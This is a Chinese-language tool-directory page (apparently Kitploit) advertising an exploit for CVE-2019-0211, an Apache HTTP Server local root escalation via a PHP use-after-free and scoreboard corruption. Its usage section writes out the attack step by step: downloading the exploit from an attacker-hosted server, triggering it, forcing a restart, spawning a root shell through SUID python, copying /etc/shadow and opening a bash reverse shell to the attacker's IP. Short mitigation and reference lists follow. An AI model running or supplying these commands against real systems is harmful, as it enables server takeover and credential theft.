Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-0211-exploit — 本地权限提升利用(CVE-2019-0211),针对运行 mod_php 的 Apache HTTP Server 2.4.17-2.4.38。利用 PHP 中的 UAF 漏洞破坏 Apache 记分板,并通过优雅重启以 root 权限执行任意命令。 | Kitploit
工具/GitHubGitHub/jeanback1/cve-2019-0211-exploit
权限提升漏洞利用框架漏洞分析漏洞利用Web安全渗透测试学习与教育Payload 开发二进制利用
GitHubjeanback1/cve-2019-0211-exploit

CVE-2019-0211-exploit

本地权限提升利用(CVE-2019-0211),针对运行 mod_php 的 Apache HTTP Server 2.4.17-2.4.38。利用 PHP 中的 UAF 漏洞破坏 Apache 记分板,并通过优雅重启以 root 权限执行任意命令。

2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2019-0211 — Apache HTTP Server 本地权限提升 (CARPE DIEM)

描述

CVE-2019-0211 是一个影响 Apache HTTP Server 2.4.17 至 2.4.38 版本(使用 mod_prefork 和 mod_php 或 PHP-FPM)的本地权限提升漏洞。

该漏洞允许拥有 www-data shell 的攻击者通过组合使用 PHP 中的 Use-After-Free (UAF) 和破坏 Apache 的 scoreboard 来提升至 root 权限。当 Apache 执行 正常重启(例如,logrotate 在早上 6:25 触发)时,它在丢弃特权之前会调用 child_init()。如果我们能够破坏指向此函数的指针,就可以让 Apache 以 root 权限执行任意命令。

CVSS 3.1: 7.8 (高) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H


技术细节

字段值
CVECVE-2019-0211
产品Apache HTTP Server
受影响版本2.4.17 – 2.4.38
类型本地权限提升 (CWE-269)
前提条件拥有 www-data shell,Apache 使用 mod_php,MPM prefork/worker/event
CVSS 3.17.8 高
补丁Apache 2.4.39

机制

Apache 使用一个名为 scoreboard 的共享内存区域,其中每个子 worker 进程具有一个 process_score 结构,该结构包含一个指向 prefork_child_bucket 的 bucket 指针。这个 bucket 包含一个带有函数指针(meth->child_init())的 apr_proc_mutex_t。

当 Apache 执行 正常重启(由 logrotate 在早上 6:25 自然触发)时,它在丢弃特权之前会调用 child_init()。该利用程序:

  1. 通过操作 DateInterval 对象和 JSON 序列化在 PHP 中触发 UAF
  2. 获得内存中 任意读/写 的原语
  3. 读取 /proc/self/maps 以定位 scoreboard(位于 /dev/zero 的 SHM)
  4. 在 Apache 内存中找到 all_buckets 结构
  5. 覆写 buckets,将 meth->child_init() 重定向到 system()
  6. 在下一次重启时,Apache 以 root 权限执行 payload

利用程序

原作者

Charles Fol — @cfreal_

原始博文:CARPE DIEM — CVE-2019-0211 Apache Local Root

前提条件

  • Apache HTTP Server 2.4.17 – 2.4.38 且使用 mod_php (PHP 7.x)
  • 服务器上拥有 www-data shell
  • 能够在 Apache 托管的目录中写入 .php 文件

使用方法

root@kitploit:~
# 1. 将利用程序上传到易受攻击的服务器
# 在攻击者机器上:
python3 -m http.server 8080
# 在服务器上(以 www-data 身份):
cd /var/www/html
wget http://你的IP:8080/carpediem.php

# 2. 执行利用程序
curl http://localhost/carpediem.php

# 3. 等待 Apache 执行正常重启
# 选项 A) 等待早上 6:25(自动 logrotate)
# 选项 B) 如果你有权限,强制执行 logrotate:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force

# 4. 验证 python3.5 现在是 SUID root
ls -la /usr/bin/python3.5
# 预期输出:-rwsr-sr-x 2 root root ...

# 5. 提升至 root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'

自定义 Payload

你可以使用 cmd 参数更改以 root 身份执行的命令:

root@kitploit:~
# 示例:复制 /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"

# 示例:反弹 shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/你的IP/端口+0>%261'"

成功率

Workers

更多的 workers 意味着更高的成功率。


缓解措施

  • 将 Apache HTTP Server 更新至版本 ≥ 2.4.39
  • 从 MPM prefork 迁移到 MPM event(减小 scoreboard 的攻击面)
  • 通过 hidef 或 AppArmor/SELinux 限制对 /proc/self/maps 的访问

参考资料

  • NVD — CVE-2019-0211
  • CARPE DIEM 博文 — Charles Fol
  • GitHub 上的利用程序 — cfreal/exploits
  • Exploit-DB #46676
  • Apache 安全公告
下载工具
成功
尝试次数
失败次数
5 (默认)87%17726
889%608
1095%704